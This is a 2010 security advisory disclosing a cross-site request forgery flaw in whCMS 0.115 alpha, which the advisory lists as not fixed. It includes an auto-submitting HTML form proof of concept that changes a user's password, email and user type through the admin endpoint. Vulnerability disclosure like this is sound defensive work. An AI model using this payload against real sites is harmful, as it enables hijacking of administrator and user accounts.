whCMS 0.115 – Cross-Site Request Forgery
Vulnerability ID: HTB22767 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_whcms.html Product: whCMS Vendor: Joram van den Boezem ( http://whcms.burolaga.nl/ ) Vulnerable Version: 0.115 alpha and probably prior versions Vendor Notification: 28 December 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main"> <input type="hidden" name="id" value="USER_ID"> <input type="hidden" name="module" value="100"> <input type="hidden" name="newpass1" value="newpass"> <input type="hidden" name="newpass2" value="newpass"> <input type="hidden" name="email" value="email2@example.com"> <input type="hidden" name="usertype_id" value="2"> </form> <script> document.main.submit(); </script> |